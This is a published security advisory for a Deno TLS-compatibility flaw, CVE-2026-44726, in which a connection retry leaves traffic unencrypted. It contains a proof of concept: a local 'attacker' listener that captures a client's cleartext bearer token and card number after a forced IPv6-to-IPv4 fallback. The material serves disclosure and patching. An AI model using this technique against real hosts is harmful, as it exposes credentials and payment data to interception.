GHSA-CHQV-56WV-7564

Vulnerability from github – Published: 2026-05-27 19:51 – Updated: 2026-05-27 19:51
VLAI
Summary
Deno's TLS retry copies stale upgrade hook, risking plaintext traffic
Details

Summary

A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.

As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.

A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.

Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.

Proof of concept

attacker.mjs (captures whatever the client sends)

import net from "node:net";

const server = net.createServer((socket) => {
  console.log("[attacker] client connected from", socket.remoteAddress);
  socket.on("data", (chunk) => {
    // If TLS were working, this would be an opaque ClientHello.
    // If the bug fires, we see the application payload in cleartext.
    console.log("[attacker] received", chunk.length, "bytes:");
    console.log(chunk.toString("utf8"));
  });
});

server.listen(4444, "127.0.0.1", () => {
  console.log("[attacker] listening on 127.0.0.1:4444");
});

victim.mjs (a normal-looking TLS client)

import tls from "node:tls";

const socket = tls.connect({
  host: "api.example.invalid",
  port: 4444,
  autoSelectFamily: true, // Node-compat default

  // First address is a black hole (nothing on [::1]:4444),
  // so autoSelectFamily falls back to the second address.
  // In a real attack, the on-path attacker arranges this via
  // routing, DNS, or by dropping the first SYN.
  lookup: (_host, _opts, cb) => {
    cb(null, [
      { address: "::1",       family: 6 }, // fails -> retry
      { address: "127.0.0.1", family: 4 }, // attacker
    ]);
  },

  rejectUnauthorized: false,
});

// Application writes BEFORE secureConnect — common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1\r\n");
socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");
socket.write("Content-Type: application/json\r\n\r\n");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));

socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error",         (e) => console.log("[victim] error:", e.message));

In terminal 1 deno run --allow-net attacker.mjs In terminal 2 deno run --allow-net victim.mjs

Expected vs. observed

On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.

On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:

[attacker] received 41 bytes:
POST /v1/charge HTTP/1.1
Authorization: Bearer sk_live_SECRET_TOKEN
...

The bearer token, the request body, and the card number all appear in plaintext, even though the application used tls.connect.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.7.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-319"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T19:51:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA flaw in Deno\u0027s Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. \n\nAs a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted.\n\nA network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.\n\n**Affected APIs**: Applications using Deno\u0027s `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event.\n\n## Proof of concept\n\n`attacker.mjs` (captures whatever the client sends)\n\n```ts\nimport net from \"node:net\";\n\nconst server = net.createServer((socket) =\u003e {\n  console.log(\"[attacker] client connected from\", socket.remoteAddress);\n  socket.on(\"data\", (chunk) =\u003e {\n    // If TLS were working, this would be an opaque ClientHello.\n    // If the bug fires, we see the application payload in cleartext.\n    console.log(\"[attacker] received\", chunk.length, \"bytes:\");\n    console.log(chunk.toString(\"utf8\"));\n  });\n});\n\nserver.listen(4444, \"127.0.0.1\", () =\u003e {\n  console.log(\"[attacker] listening on 127.0.0.1:4444\");\n});\n```\n\n`victim.mjs` (a normal-looking TLS client)\n\n```ts\nimport tls from \"node:tls\";\n\nconst socket = tls.connect({\n  host: \"api.example.invalid\",\n  port: 4444,\n  autoSelectFamily: true, // Node-compat default\n\n  // First address is a black hole (nothing on [::1]:4444),\n  // so autoSelectFamily falls back to the second address.\n  // In a real attack, the on-path attacker arranges this via\n  // routing, DNS, or by dropping the first SYN.\n  lookup: (_host, _opts, cb) =\u003e {\n    cb(null, [\n      { address: \"::1\",       family: 6 }, // fails -\u003e retry\n      { address: \"127.0.0.1\", family: 4 }, // attacker\n    ]);\n  },\n\n  rejectUnauthorized: false,\n});\n\n// Application writes BEFORE secureConnect \u2014 common pattern in\n// Node clients that pipe a request body or send a greeting.\nsocket.write(\"POST /v1/charge HTTP/1.1\\r\\n\");\nsocket.write(\"Authorization: Bearer sk_live_SECRET_TOKEN\\r\\n\");\nsocket.write(\"Content-Type: application/json\\r\\n\\r\\n\");\nsocket.write(JSON.stringify({ amount: 100, card: \"4242424242424242\" }));\n\nsocket.on(\"secureConnect\", () =\u003e console.log(\"[victim] secureConnect\"));\nsocket.on(\"error\",         (e) =\u003e console.log(\"[victim] error:\", e.message));\n```\n\n\nIn terminal 1 `deno run --allow-net attacker.mjs`\nIn terminal 2 `deno run --allow-net victim.mjs`\n\n### Expected vs. observed\n\nOn a patched Deno (\u2265 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03\n0x01 \u2026`), and the victim eventually errors out because the attacker isn\u0027t speaking TLS.\n\nOn a vulnerable Deno (\u2265 2.0.0, \u003c 2.7.8), the attacker terminal prints:\n\n```\n[attacker] received 41 bytes:\nPOST /v1/charge HTTP/1.1\nAuthorization: Bearer sk_live_SECRET_TOKEN\n...\n```\n\nThe bearer token, the request body, and the card number all appear in plaintext, even though the application used\n`tls.connect`.",
  "id": "GHSA-chqv-56wv-7564",
  "modified": "2026-05-27T19:51:46Z",
  "published": "2026-05-27T19:51:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deno\u0027s TLS retry copies stale upgrade hook, risking plaintext traffic"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…